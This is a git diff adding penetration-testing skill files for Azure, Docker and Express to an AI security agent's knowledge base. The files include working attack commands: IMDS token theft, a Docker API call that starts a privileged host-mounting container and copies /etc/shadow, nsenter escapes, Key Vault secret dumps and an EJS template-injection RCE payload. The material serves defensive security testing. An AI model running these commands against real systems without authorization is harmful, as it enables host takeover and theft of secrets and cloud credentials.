diff --git a/strix/skills/README.md b/strix/skills/README.md index e8e0cb459..16f9142d6 100644 --- a/strix/skills/README.md +++ b/strix/skills/README.md @@ -1,12 +1,12 @@ -# 📚 Strix Skills +# Strix Skills -## 🎯 Overview +## Overview Skills are specialized knowledge packages that enhance Strix agents with deep expertise in specific vulnerability types, technologies, and testing methodologies. Each skill provides advanced techniques, practical examples, and validation methods that go beyond baseline security knowledge. --- -## 🏗️ Architecture +## Architecture ### How Skills Work @@ -21,31 +21,171 @@ create_agent( ) ``` -The skills are dynamically injected into the agent's system prompt, allowing it to operate with deep expertise tailored to the specific vulnerability types or technologies required for the task at hand. +The skills are dynamically injected into the agent's system prompt, allowing it to operate with deep expertise tailored to the specific vulnerability types or technologies required for the task at hand. Every agent also receives its scan-mode skill, `tooling/agent_browser`, and `tooling/python` automatically (see `strix/agents/prompt.py`). + +### Skill File Format + +Every skill is a single Markdown file at `strix/skills//.md` with YAML frontmatter: + +```markdown +--- +name: ssrf +description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling +--- + +# SSRF + +... +``` + +The frontmatter `description` is what agents see when choosing skills, so make it specific and searchable. The body should follow the sections used across the collection: Attack Surface, Reconnaissance, Key Vulnerabilities, Advanced Techniques, Testing Methodology, Validation, False Positives, Impact, Pro Tips, Tooling, and Summary. --- -## 📁 Skill Categories +## Skill Index + +### `/vulnerabilities` + +Advanced testing techniques for core vulnerability classes. + +| Skill | Coverage | +|-------|----------| +| `authentication_jwt` | JWT/OIDC token forgery, algorithm confusion, claim manipulation | +| `broken_function_level_authorization` | BFLA, action-level authorization failures | +| `business_logic` | Workflow bypass, state manipulation, domain invariants | +| `command_injection` | OS command injection: in-band/blind detection, shell payloads, filter bypass, OAST | +| `cors_misconfiguration` | Origin reflection, null origin, credentialed reads, preflight gaps, missing Vary | +| `csrf` | Token bypass, SameSite cookies, state-changing request abuse | +| `header_injection` | CRLF/response splitting, cache poisoning, Host-header confusion | +| `http_request_smuggling` | CL.TE, TE.CL, H2 desync and smuggling techniques | +| `idor` | IDOR/BOLA object-level authorization failures | +| `information_disclosure` | Error messages, debug endpoints, metadata leakage | +| `insecure_deserialization` | Gadget chains across Java, Python, PHP, .NET, Ruby, Node | +| `insecure_file_uploads` | Extension bypass, content-type manipulation, traversal | +| `llm_prompt_injection` | Prompt injection, jailbreaks, tool/agent abuse | +| `mass_assignment` | Unauthorized field binding and privilege escalation | +| `nosql_injection` | MongoDB operators, auth bypass, blind extraction | +| `open_redirect` | Phishing pivots, OAuth token theft, allowlist bypass | +| `path_traversal_lfi_rfi` | Local/remote file inclusion and code execution | +| `prototype_pollution` | Object merge bugs, Node RCE chains, filter bypasses | +| `race_conditions` | TOCTOU, double-spend, concurrent state manipulation | +| `rce` | RCE umbrella: command injection, deserialization, template injection | +| `sql_injection` | Union, blind, error-based, ORM bypass | +| `ssrf` | Cloud metadata, internal discovery, protocol smuggling | +| `ssti` | Jinja/Mako/Velocity/Freemarker/Thymeleaf/Twig/EJS/ERB escapes | +| `subdomain_takeover` | Dangling DNS and unclaimed cloud resources | +| `weak_password_detection` | Credential stuffing, brute force, default credentials | +| `web_cache_poisoning` | Cache-key probing, unkeyed headers, parameter cloaking, cache deception | +| `xss` | Reflected, stored, DOM-based, CSP bypass | +| `xxe` | External entity injection, file disclosure, SSRF via XML | + +### `/frameworks` + +Specific testing methods for popular frameworks. + +| Skill | Framework | +|-------|-----------| +| `django` | Django ORM injection, middleware gaps, auth/session flaws | +| `express` | Express/Node: prototype pollution, template injection, middleware order | +| `fastapi` | FastAPI: ASGI, dependency injection, API vulnerabilities | +| `flask` | Flask/Werkzeug: debug PIN RCE, session forgery, SSTI | +| `laravel` | Laravel/PHP: APP_KEY abuse, debug-mode RCE, mass assignment, .env exposure | +| `nestjs` | NestJS guards/pipes, module boundaries, multi-transport auth | +| `nextjs` | Next.js App Router, Server Actions, RSC, Edge runtime | +| `rails` | Rails: mass assignment, params parsing, signed-cookie forgery, known CVEs | +| `spring` | Spring Boot: actuators, SpEL injection, Spring4Shell, heapdump secrets | + +### `/protocols` + +Protocol-specific testing patterns. + +| Skill | Protocol | +|-------|----------| +| `graphql` | Introspection, resolver injection, batching, authz bypass | +| `grpc` | Reflection, grpcurl workflows, authz gaps, protobuf field abuse | +| `oauth` | OAuth 2.0/OIDC flows, redirect manipulation, PKCE, token leakage | +| `saml` | Assertion tampering, XML signature wrapping, replay, audience gaps | +| `websocket` | Handshake auth, CSWSH, message injection, race conditions | + +### `/technologies` + +Specialized techniques for third-party services and platforms. + +| Skill | Technology | +|-------|------------| +| `active_directory` | Kerberos roasting, delegation, AD CS (ESC1-17), relay, DACL abuse | +| `auth0` | Rules/actions, scope escalation, MFA bypass, token confusion | +| `ci_cd` | Jenkins/GitLab/GitHub Actions: consoles, pipeline injection, runners | +| `exposed_databases` | Redis/Mongo/Elasticsearch/Postgres/MySQL/Cassandra/CouchDB/Memcached | +| `firebase` | Firestore, Storage rules, Realtime DB, Functions | +| `grafana_prometheus` | Exposed observability -> SSRF, creds, RCE | +| `keycloak` | Realm/client misconfig, redirect abuse, broker SSRF, token handling | +| `payment_gateways` | Webhook signatures, amount/currency abuse, idempotency, refunds | +| `supabase` | Row Level Security, PostgREST, Edge Functions, service keys | +| `wordpress` | wpscan, user enum, xmlrpc, plugin/theme CVEs, REST gaps | + +### `/cloud` + +Cloud provider and container security testing. + +| Skill | Platform | +|-------|----------| +| `aws` | IAM misconfig, S3 exposure, metadata abuse, privesc | +| `azure` | Entra ID, managed identity/IMDS, anonymous storage, Key Vault | +| `docker` | Exposed daemons, registry API, image secrets, escape misconfigs | +| `gcp` | IAM, public buckets, metadata abuse, service account privesc | +| `kubernetes` | RBAC, API exposure, container escapes, network policies | + +### `/reconnaissance` + +Information gathering and attack-surface mapping. + +| Skill | Coverage | +|-------|----------| +| `asset_discovery` | CT logs, TLS SAN pivoting, passive DNS, ASN/IP enumeration | +| `content_discovery` | Directory brute force, backup/.git/.env hunting, JS mining, parameter discovery | +| `technology_fingerprinting` | Headers, cookies, error pages, favicon hashes, WAF/CDN detection | + +### `/tooling` + +Command-line playbooks for sandbox tools. + +| Skill | Tool | +|-------|------| +| `agent_browser` | Headless Chrome CLI (pre-installed) | +| `dirsearch` | HTTP content discovery scanner (pre-installed) | +| `ffuf` | Web fuzzing | +| `httpx` | HTTP probing | +| `interactsh` | OAST out-of-band callbacks (pre-installed) | +| `katana` | Crawling | +| `naabu` | Port scanning | +| `nmap` | Network scanning | +| `nuclei` | Template-based scanning | +| `python` | Sandbox scripting + caido_api automation | +| `semgrep` | Static analysis | +| `sqlmap` | SQL injection automation | +| `subfinder` | Passive subdomain enumeration | + +### `/custom` + +Community-contributed skills for specialized scenarios. + +| Skill | Coverage | +|-------|----------| +| `api_spec_testing` | Spec-driven API pentesting from OpenAPI/Swagger/Postman inventories | +| `dependency_cve_scanning` | SCA/trivy workflow for known dependency CVEs | +| `source_aware_sast` | Semgrep/AST/gitleaks/trufflehog/trivy static triage | + +### Internal categories (not user-selectable) | Category | Purpose | |----------|---------| -| **`/vulnerabilities`** | Advanced testing techniques for core vulnerability classes like authentication bypasses, business logic flaws, and race conditions | -| **`/frameworks`** | Specific testing methods for popular frameworks e.g. Django, Express, FastAPI, and Next.js | -| **`/technologies`** | Specialized techniques for third-party services such as Supabase, Firebase, Auth0, and payment gateways | -| **`/protocols`** | Protocol-specific testing patterns for GraphQL, WebSocket, OAuth, and other communication standards | -| **`/tooling`** | Command-line playbooks for core sandbox tools (nmap, nuclei, httpx, ffuf, subfinder, naabu, katana, sqlmap) | -| **`/cloud`** | Cloud provider security testing for AWS, Azure, GCP, and Kubernetes environments | -| **`/reconnaissance`** | Advanced information gathering and enumeration techniques for comprehensive attack surface mapping | -| **`/custom`** | Community-contributed skills for specialized or industry-specific testing scenarios | - -Notable source-aware skills: -- `source_aware_whitebox` (coordination): white-box orchestration playbook -- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow -- `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report` +| `/scan_modes` | `quick`, `standard`, `deep` - per-mode methodology injected into every agent | +| `/coordination` | `root_agent` orchestration and `source_aware_whitebox` white-box coordination | --- -## 🎨 Creating New Skills +## Creating New Skills ### What Should a Skill Contain? @@ -59,13 +199,21 @@ A good skill is a structured knowledge package that typically includes: Skills focus on deep, specialized knowledge to significantly enhance agent capabilities. They are dynamically injected into agent context when needed. +### Conventions + +- File name matches `name` in the frontmatter (`ssrf.md` -> `name: ssrf`) +- Descriptions are short, specific, and searchable; agents see them when selecting skills +- Reference other skills by their bare names (e.g. "see `ssrf`") so agents can `load_skill` them +- Tooling sections must reflect what the sandbox ships (see `containers/Dockerfile`) and mark anything that needs installing +- Keep the body ASCII-safe to avoid encoding issues in the rendered prompt + --- -## 🤝 Contributing +## Contributing -Community contributions are more than welcome — contribute new skills via [pull requests](https://github.com/usestrix/strix/pulls) or [GitHub issues](https://github.com/usestrix/strix/issues) to help expand the collection and improve extensibility for Strix agents. +Community contributions are welcome - contribute new skills via [pull requests](https://github.com/usestrix/strix/pulls) or [GitHub issues](https://github.com/usestrix/strix/issues) to help expand the collection and improve extensibility for Strix agents. --- > [!NOTE] -> **Work in Progress** - We're actively expanding the skills collection with specialized techniques and new categories. +> The collection is actively expanding with specialized techniques and new categories. diff --git a/strix/skills/cloud/azure.md b/strix/skills/cloud/azure.md new file mode 100644 index 000000000..71b335bce --- /dev/null +++ b/strix/skills/cloud/azure.md @@ -0,0 +1,192 @@ +--- +name: azure +description: Azure cloud security testing covering Entra ID, managed identity and IMDS abuse, anonymous storage, Key Vault, App Service, and privilege escalation paths +--- + +# Azure Cloud Security + +Azure misconfigurations expose the same classes of findings as other clouds - anonymous storage, over-permissioned identities, and metadata/token abuse - with Azure-specific surfaces: Entra ID (Azure AD) tenants and app registrations, Managed Identities via IMDS, blob storage with SAS tokens, and App Service settings. For SSRF-mediated metadata access, combine with the `ssrf` skill. + +## Attack Surface + +**Identity** +- Entra ID (Azure AD): tenants, users, app registrations, service principals, conditional access, MFA gaps +- Managed identities (system/user-assigned) with tokens fetched from IMDS +- Azure AD tokens in apps (see `authentication_jwt`), OAuth flows, consent grants + +**Storage & Data** +- Blob containers and files shares with anonymous access or leaked SAS tokens +- `$web` static hosting containers, backup containers, VM disk exports +- Key Vaults with over-permissive access policies; databases (SQL, Cosmos DB) with public endpoints + +**Compute & Apps** +- VMs (IMDS at `169.254.169.254`), scale sets, App Service (env vars, slots, SSH), Functions, Logic Apps +- ARM templates and deployment scripts containing credentials +- Azure DevOps: pipelines, service connections, PATs, variable groups + +**Management** +- Azure CLI/Graph API access from any compromised credential; subscription-level roles +- Public endpoints: App Service default domains, blob endpoints, Key Vault endpoints + +## Reconnaissance + +**Credential discovery** +- Environment variables: `AZURE_CLIENT_ID`, `AZURE_TENANT_ID`, `AZURE_CLIENT_SECRET`, `AZURE_SUBSCRIPTION_ID`, `ARM_*` +- `.env`, CI variable groups, Key Vault references, ARM templates, App Service app settings +- Source code, mobile apps, JS bundles (Azure AD client IDs + redirect URIs) + +**Tenant/user enumeration (unauthenticated)** +- `login.microsoftonline.com/{tenant}/.well-known/openid-configuration` confirms tenant +- User enumeration via login errors (existing vs nonexistent user) on apps using Entra ID +- `https://login.microsoftonline.com/getuserrealm?user=` reveals tenant state + +**Authenticated (any credential)** +``` +az login --identity # managed identity context +az account show +az ad signed-in-user show +az account list --query '[].{name:name,id:id}' +az role assignment list --include-inherited --include-groups +``` + +## Key Vulnerabilities + +### IMDS and Managed Identity Abuse + +IMDS requires the `Metadata: true` header (no token, unlike AWS IMDSv2): + +``` +curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" +curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01" +``` + +**Managed identity token** (the crown jewel): + +``` +curl -s -H "Metadata: true" \ + "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com" +``` + +The returned `access_token` can call Azure Management, Graph (`https://graph.microsoft.com`), or Key Vault (`https://vault.azure.net`) depending on the identity's role assignments. From a compromised VM/App Service with SSRF or RCE, this is direct cloud access: + +``` +curl -s -H "Authorization: Bearer " "https://management.azure.com/subscriptions?api-version=2020-01-01" +``` + +### Anonymous Blob Storage + +Container-level public access (blob or container level) enables anonymous reads: + +``` +curl -s "https://.blob.core.windows.net/?restype=container&comp=list" +curl -s "https://.blob.core.windows.net//" +``` + +Container names are often guessable from app patterns (`backups`, `logs`, `uploads`, `$web`, `-data`); enumerate candidates. `$web` hosting containers expose the app's static assets (and sometimes source maps/`.env`). + +### Leaked SAS Tokens + +Shared Access Signature tokens appear in URLs (Azure Storage URLs, exports, emails, logs): + +``` +https://.blob.core.windows.net//?sv=...&st=...&se=...&sp=rw&sig=... +``` + +Inspect `sp` (permissions: r/w/d/l), `se` (expiry), and `sr` (resource scope). A token found in a log/email with `sp=rwdl` and long expiry is a finding; service SAS tokens with account-level keys grant broader scope. Test the token against the container listing and adjacent resources. + +### Entra ID App Misconfiguration + +- App registrations with `redirect_uris` allowing attacker origins (see `oauth`, `keycloak`) +- Public client (mobile/desktop) apps with client secrets in bundles +- `user_impersonation`/delegated permission grants too broad; consent phishing via apps requesting high-impact scopes +- Service principals with Contributor/Owner over subscriptions or high-value resource groups +- Conditional Access gaps: legacy auth enabled, MFA not enforced for admins + +### Key Vault Exposure + +- Access policies granting read to low-priv identities (or `az keyvault` from a compromised MSI) +- Secrets in Key Vault referenced by App Service/Function settings - the vault is the credential store +- Soft-delete/purge-protection gaps allowing secret recovery after deletion + +``` +az keyvault secret list --vault-name --query '[].name' +az keyvault secret show --vault-name --name +``` + +### App Service / Functions + +- App settings (`APPSETTING_*`) leak connection strings, keys, Key Vault references +- Public source control/deployment slots exposing env configs +- SSH/console access (`https://.scm.azurewebsites.net`) when enabled +- Function app keys (`_master`) in configs or client bundles -> invoke admin functions +- Outdated runtimes with known CVEs + +### Privilege Escalation + +Common Azure escalation paths: + +| Permission | Escalation | +|------------|------------| +| `Microsoft.Authorization/roleAssignments/write` | Grant yourself Owner/Contributor | +| `Microsoft.KeyVault/vaults/write` + access policy | Read all secrets | +| `Microsoft.Compute/virtualMachines/write` | Modify VM extensions to run commands | +| `Microsoft.Web/sites/config/write` | Change App Service app settings/connection strings | +| `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` | Assign an MSI to a resource you control | +| `Microsoft.Automation/automationAccounts/...` | Runbook execution | +| `Microsoft.ContainerService/managedClusters/...` | AKS admin credentials | + +## Advanced Techniques + +- **MSI token -> Graph**: request a token for `https://graph.microsoft.com` and enumerate users/groups/apps with the identity's grants +- **VM extension abuse**: with VM write access, run a custom script extension that dumps env/IMDS tokens +- **App Service env dump**: `https://.scm.azurewebsites.net/api/settings` (needs auth) or source-controlled appsettings files +- **Storage account key recovery**: with Contributor over the storage account, list account keys and mint service SAS tokens at will +- **Disk export**: export a VM's OS disk to a storage account and mount/parse it for credentials +- **Azure DevOps**: leaked PATs -> pipelines, service connections (cloud creds), variable groups + +## Testing Methodology + +1. Discover credentials (env, source, configs, MSI) and confirm the principal (`az account show`/Graph) +2. Enumerate role assignments and effective permissions +3. Test anonymous blob access and hunt leaked SAS tokens +4. Probe IMDS (with header) for instance metadata and MSI tokens +5. Enumerate Key Vaults, App Services, and their settings +6. Map escalation paths from the role assignments +7. Validate with minimal, reversible access proofs (list, not exfiltrate) + +## Validation + +1. IMDS/MSI: show the metadata response and the token's scopes/resource; list subscriptions/vaults the identity can reach +2. Blob: show an anonymous container listing and a sample of sensitive objects (redacted) +3. SAS: demonstrate the token's permissions against the target container +4. Key Vault: show the vault's secret names and read one benign/test secret (or document the access) +5. Escalation: show the exact API call and the resulting permission change (reversible where possible) + +## False Positives + +- Metadata endpoint unreachable (no SSRF/RCE, or IMDS blocked by hop limits/firewall) +- Anonymous blob read on a container of public static assets (intended public content) +- MSI token valid but identity has no interesting role assignments (limited impact) +- SAS token expired or scoped read-only to a non-sensitive blob +- App Service settings visible only to authenticated admins (not exposed) +- 403 vs 404 on blob endpoints: 403 means the container exists but denies anonymous access - a recon note, not a breach + +## Impact + +- Cloud account compromise via managed identity/credential theft +- Mass data exposure from anonymous storage and leaked SAS tokens +- Secret theft from Key Vault with downstream lateral movement +- Subscription-wide takeover via role-assignment escalation + +## Pro Tips + +1. IMDS is one header away: always try `Metadata: true` with the token endpoint from any SSRF/RCE in Azure +2. Managed identity tokens are scoped to a `resource` - request tokens for `management.azure.com`, `graph.microsoft.com`, and `vault.azure.net` to map what the identity can do +3. Blob 403 vs 404 tells you container existence; enumerate container names from app patterns when you can't list +4. Hunt SAS tokens in logs/URLs/emails - `sp=rwdl` with long `se` is a real finding +5. `az` CLI and Graph API (`curl -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me`) cover most enumeration; MicroBurst/Stormspotter automate the escalation mapping when installed +6. Pair with `ssrf`, `authentication_jwt`, `oauth`, and `exposed_databases` skills + +## Summary + +Azure attacks start from a credential or a metadata endpoint: identify the principal, map role assignments, then exploit anonymous storage, SAS leaks, Key Vault access, and MSI tokens. IMDS + managed identity is the highest-yield path - prove token scopes and stop at listing-level evidence. diff --git a/strix/skills/cloud/docker.md b/strix/skills/cloud/docker.md new file mode 100644 index 000000000..278bf7425 --- /dev/null +++ b/strix/skills/cloud/docker.md @@ -0,0 +1,165 @@ +--- +name: docker +description: Docker and container-registry security testing covering exposed daemons, registry API abuse, image-layer secrets, and common escape/misconfiguration paths +--- + +# Docker / Containers + +Docker is the most common container runtime, and its security failures are usually configuration failures: a daemon exposed on TCP without TLS, a `docker.sock` mounted into a CI job, a registry without authentication, or a privileged container with host mounts. These turn a low-privilege foothold into host root and full data access. This skill covers the Docker daemon API, registries, images, and the classic misconfiguration escape paths - not kernel 0-days. + +## Attack Surface + +- Docker daemon TCP: `2375/tcp` (plaintext), `2376/tcp` (TLS), `2377` (Swarm), `4243` (deprecated), often on Docker hosts, cloud instances, and CI runners +- `docker.sock` mounted into containers/CI jobs: `/var/run/docker.sock`, `/run/docker.sock` +- Registries: Docker Hub mirrors, self-hosted registries (`5000/tcp`, Harbor, GCR/ECR/ACR), v2 API +- Images: layers, environment variables, entrypoints, configs, cached base images +- Container runtime config: privileged mode, host PID/network/mount namespaces, volume mounts, capability drops missing +- Orchestrator adjacency: Kubernetes (see `kubernetes` skill), Docker Swarm, compose deployments + +## Reconnaissance + +1. **Find the daemon**: port scans for 2375/2376/4243, banner grab (daemon answers `HTTP/1.1 200 OK` with JSON), `curl http://:2375/version` +2. **Probe the API unauthenticated**: + ``` + curl -s http://:2375/version + curl -s http://:2375/containers/json + curl -s http://:2375/images/json + curl -s http://:2375/info + ``` + If `version` returns JSON without TLS client certs, the daemon is wide open +3. **Find registries**: port 5000, `/v2/`, `/v2/_catalog`; check auth (`/v2/` returns `401` with `WWW-Authenticate` when protected) +4. **Source-aware**: grep for `docker.sock`, `privileged: true`, `2375`, `-v /:/host`, `mounts:`, registry creds in `.env`/CI configs +5. **Check mounts from inside a container**: `mount | grep -E '/host|/var/run'`, `ls /var/run/docker.sock` + +## Key Vulnerabilities + +### Exposed Docker Daemon (2375/2376) -> Host RCE + +The Docker API is root-equivalent by design. From `/containers/create` + `/containers/{id}/start`, run a container with the host filesystem mounted: + +``` +# 1. Create a container mounting / to /host +curl -s -XPOST http://:2375/containers/create \ + -H 'Content-Type: application/json' \ + -d '{"Image":"alpine","Cmd":["/bin/sh","-c","id > /host/tmp/pwned && cat /host/etc/shadow > /host/tmp/shadow"], + "Binds":["/:/host"],"Privileged":true}' +# 2. Start it +curl -s -XPOST http://:2375/containers//start +# 3. Read the results from the host mount +curl -s http://:2375/containers/json +``` + +Non-destructive proof: write a marker file to `/host/tmp/`, or run `id` via `exec` and read output. The daemon API also exposes image pulls (registry creds), secrets in container env, and host process visibility. + +### docker.sock Inside a Container/CI Job + +If `/var/run/docker.sock` is mounted, the container can drive the host daemon: + +``` +curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json +``` + +Same root-equivalence: create a privileged container with `Binds:["/:/host"]` and escape to the host. This is a common CI misconfiguration (`docker.sock` mounted for Docker-in-Docker). + +### Registry Exposure + +Unauthenticated registry (v2 API): + +``` +curl -s http://:5000/v2/ +curl -s http://:5000/v2/_catalog +curl -s http://:5000/v2//tags/list +curl -s http://:5000/v2//manifests/ +``` + +**Pull and inspect images** for secrets (env, config, layers): + +``` +docker pull :5000/: +docker inspect --format '{{json .Config.Env}}' +docker history --no-trunc # layer commands may contain secrets +docker save -o image.tar && tar -xvf image.tar # raw layer files +``` + +Registry auth weaknesses: default creds (admin/admin on Harbor/registry UIs), leaked tokens in CI, and pull-access-only tokens that still leak image configs. + +### Image/Config Secrets + +- `ENV`/`ARG` in Dockerfiles baked into image config: passwords, API keys, connection strings +- `.dockerignore` gaps: `.env`, keys, and configs copied into layers +- `docker history` exposes commands with secrets (never removed by later layers) +- Dockerfiles committed to source with `RUN echo $TOKEN` style leaks + +### Privileged / Host-Namespace Containers + +**Privileged container escape** (classic): + +``` +mkdir -p /mnt/host && mount /dev/sda1 /mnt/host # or use nsenter +nsenter --target 1 --mount --uts --ipc --net --pid sh +``` + +`privileged: true` grants all capabilities and host devices; with `CAP_SYS_ADMIN`, mount the host root, cgroup release_agent, or debugfs paths. Also check: +- Host PID/network namespaces (`hostPID: true`, `hostNetwork: true`) -> process/network visibility +- Volume mounts like `-v /:/host`, `/etc`, `/root/.ssh` +- `--cap-add=SYS_ADMIN` without privileged flag +- `docker exec`-style access from compromised orchestrator pods + +### Compose / Swarm Misconfigs + +- Compose files with `privileged: true` and host mounts deployed to prod +- Swarm join tokens leaked (attacker joins as manager) +- Exposed Docker API behind an LB without auth + +## Advanced Techniques + +- **Daemon API without `create` permissions**: even read-only API access (`/containers/json`, `/info`) leaks container env, image names, and configs - escalate with image pull + local extraction +- **Image pull from exposed daemon**: `docker pull` through a compromised API to exfiltrate internal images +- **Registry token abuse**: `/v2//manifests/` with a leaked pull token reveals all tags; write tokens can overwrite images (supply chain) +- **CI Docker-in-Docker**: a job with docker.sock can replace its own image or plant host-level persistence +- **Volume backup**: mount `/etc`/`/root` into a scratch container to read host SSH keys, kubeconfigs, and TLS material + +## Testing Methodology + +1. Find daemons/registries via port scan and API probes +2. Enumerate API surface unauthenticated (version, containers, images, info) +3. For registries: catalog, tags, manifests; pull and inspect images for secrets +4. For daemons: demonstrate host access with a minimal non-destructive proof (marker file, `id` output) +5. Inside containers: check mounts, capabilities (`capsh --print`), and docker.sock +6. Version-gate known CVEs (e.g., runc/CVE-2019-5736, CVE-2022-0847 dirty-pipe kernel paths) - only report with version evidence + +## Validation + +1. Daemon RCE: show the API calls and a marker/command result from the host filesystem +2. Registry: show the catalog/tags and a secret extracted from image config/layers (redacted) +3. docker.sock: demonstrate host daemon control from inside the container +4. Privileged escape: mount/nsenter proof with a benign command, then restore state +5. Keep proofs reversible: marker files in `/tmp`, no persistence, no destructive mounts + +## False Positives + +- Daemon requires TLS client certs (401/handshake failure) - not exposed +- Registry returns 401 with auth required; token needed +- Image env vars contain only non-sensitive values (version strings, harmless defaults) +- `privileged: true` present but capabilities/mounts actually constrained by seccomp/apparmor - test before claiming escape +- Port 2375 open but filtered (no API response) + +## Impact + +- Host root via daemon API/docker.sock (the API *is* root) +- Registry/image compromise -> supply chain and secret theft +- Full data access via host mounts from privileged containers +- Lateral movement from compromised container hosts into the wider network + +## Pro Tips + +1. `curl http://:2375/version` is the fastest root-equivalence check in containers +2. Mount `/:/host` and write a `/tmp` marker for a clean, reversible proof +3. Pull and inspect images before attacking the daemon - secrets in env/config are often the real prize +4. Check `docker history --no-trunc` - layer commands preserve secrets that later `ENV`/`ARG` lines try to hide +5. Inside any container, check for `docker.sock` and privileged mode before assuming a non-escape position +6. Pair with `kubernetes`, `ci_cd`, `exposed_databases`, and `weak_password_detection` skills + +## Summary + +Docker security is configuration security: exposed daemons and docker.sock are root by design, open registries leak images and secrets, and privileged/host-mounted containers provide the escape. Probe the API, pull and inspect images, and prove host access with minimal reversible markers. diff --git a/strix/skills/frameworks/express.md b/strix/skills/frameworks/express.md new file mode 100644 index 000000000..859f68e32 --- /dev/null +++ b/strix/skills/frameworks/express.md @@ -0,0 +1,132 @@ +--- +name: express +description: Security testing playbook for Express/Node.js applications covering prototype pollution, template injection, middleware order, and CORS/session flaws +--- + +# Express / Node.js + +Express is the most common Node.js web framework. Its power is middleware composition - and its weakness is the same: one missing `next()`, one permissive body parser, one user-controlled option passed to a renderer, and an authorization check is skipped or a prototype is polluted. Most Express apps also use EJS/Handlebars/Pug, `qs`, `multer`, and cookie/session middleware, each with its own attack surface. + +## Attack Surface + +- Route handlers and middleware order: auth middleware that runs after a handler, or a handler that skips `next()` +- Query/body parsing: `qs` deep parsing, extended URL-encoded bodies, JSON with `__proto__`/`constructor` +- Templating: EJS, Handlebars, Pug, Nunjucks - especially `render` with user-controlled options +- Static files: `express.static` misconfiguration, `sendFile`/`download` with user input, `res.sendFile` +- Sessions/cookies: `express-session`, signed cookies with weak `secret`, cookie flags +- Auth: `express-jwt`, passport, custom middleware that trusts `X-User-*` headers +- File uploads via `multer`: filename/path injection, extension checks, symlink tricks +- Outbound calls: `fetch`/`axios`/`request` with user URLs (SSRF), `child_process` (command injection) +- Package ecosystem: prototype-pollution-prone merge/assign helpers (`lodash.merge`, `_.set`, `deep-extend`, `flat`) + +## Reconnaissance + +1. **Source map first** (whitebox): read `package.json` for dependencies and versions; list routes; check middleware registration order; grep for sinks: `exec`, `eval`, `child_process`, `fetch(` with user input, `merge`, `set(`/`assign`, `render(`, `sendFile(` +2. **Blackbox**: fingerprint Express via `X-Powered-By: Express` (often stripped), 404/error shapes, cookie names (`connect.sid`), and behavior of malformed JSON (`SyntaxError: Unexpected token` in responses) +3. **Enumerate routes** from JS bundles, source maps (`/*.js.map`), `swagger.json`, and crawl results +4. **Test body parsers**: send `application/json` with `{"__proto__":{...}}`, extended form bodies with nested keys, and duplicate/conflicting content-types + +## Key Vulnerabilities + +### Prototype Pollution + +`qs` with `extended: true` parses `?__proto__[polluted]=1` or `?constructor[prototype][polluted]=1` into object keys; JSON bodies with `__proto__`/`constructor.prototype` keys hit `JSON.parse` + merge helpers: + +``` +GET /?__proto__[isAdmin]=true +POST /api/update {"__proto__": {"isAdmin": true}} +POST /api/update {"constructor": {"prototype": {"polluted": true}}} +``` + +Impact depends on what the app reads from the prototype: auth flags, `env`/`NODE_OPTIONS`, template options, or RCE chains (e.g., polluting `child_process` options or EJS render options). Check the `prototype_pollution` skill for the full chain. + +### Template Injection (EJS / Handlebars) + +EJS with user-controlled options is a classic RCE: + +``` +render('index', { ...req.query }) +settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');s +``` + +Handlebars SSTI (`{{#with "s" as |string|}}...`) and Pug options injection (`?pretty` + `options` abuse) are also known paths. See the `ssti` skill for payloads. + +### Middleware-Order Authorization Gaps + +- Auth middleware attached after public routes or to a router that a nested route bypasses +- `app.use` vs `app.get` ordering: a route registered before `app.use(auth)` skips auth +- Error-handling middleware swallowing auth failures and rendering the page anyway +- Headers trusted from upstream: `X-Forwarded-For`/`X-Real-IP` used for IP allowlists; `X-User-Id`/`X-Role` accepted from clients + +### Path Traversal / File Disclosure + +- `res.sendFile(userInput)` and `res.download(userInput)` with `../` or absolute paths +- `express.static` with a broad root and missing deny rules; `%2e%2e%2f`, `..%2f`, double encoding, backslashes on Windows-behind-proxy setups +- Source map files, `.env`, `package.json`, and backup files served by misconfigured static roots + +### CORS and Sessions + +- Wildcard ACAO with `credentials: true`, or origin reflection (see `cors_misconfiguration`) +- `express-session` with `resave`/unset cookie flags, missing `httpOnly`/`secure`, weak `secret` (brute-forceable when signed cookies are used) +- `express-jwt` with `algorithms: ['HS256']` accepting HS256-signed tokens when the public key is available (see `authentication_jwt`) + +### SSRF and Command Injection + +- `fetch(userUrl)`, `axios.get(userUrl)`, `request(userUrl)` in proxying/importing/avatar features -> SSRF (see `ssrf`) +- `child_process.exec('...' + userInput)` or `execFile` with a shell wrapper -> command injection (see `command_injection`) + +### Mass Assignment via Spread + +`db.update({ ...req.body })` or `Object.assign(target, req.body)` lets clients set fields the form never exposed (`role`, `isAdmin`, `balance`). See `mass_assignment`. + +## Advanced Techniques + +- **`qs` depth abuse**: enable deep keys and nested arrays to bypass naive validation or reach different code paths (`?filter[0][gte]=1`) +- **Content-type smuggling**: `application/x-www-form-urlencoded` + JSON body tricks; `text/plain` parsed as JSON by permissive middleware +- **Race on async middleware**: handlers that `await` auth asynchronously and continue before the check completes (see `race_conditions`) +- **npm supply chain**: `retire`/`trivy` on `package-lock.json`/`yarn.lock` for known vulnerable deps; `govulncheck`/`vulnx` for Go-adjacent paths +- **ReDoS**: user-controlled regexes or `String.match` with crafted input on complex patterns + +## Testing Methodology + +1. Map routes + middleware order (whitebox) or fingerprint + crawl (blackbox) +2. Test body/query parsers for prototype pollution at every input surface +3. Check template render options and static file paths for injection/traversal +4. Audit auth middleware order and trusted headers +5. Test CORS, session cookies, and JWT algorithm confusion +6. Fuzz SSRF/command sinks with the dedicated skills +7. Validate every finding with a concrete request/response pair + +## Validation + +1. Prototype pollution: show a global object property polluted and, where possible, an observable effect (auth bypass, RCE) +2. Authz gap: same request with and without the middleware/token -> unauthorized success +3. Template injection: execute a benign marker (`process.version`) and show output +4. Path traversal: read a real file (`package.json`/`.env`) with the exact traversal payload + +## False Positives + +- `__proto__` accepted into the body but never read by app logic (pollution without impact) +- `X-Powered-By` stripped/absent - Express fingerprinting needs behavior, not 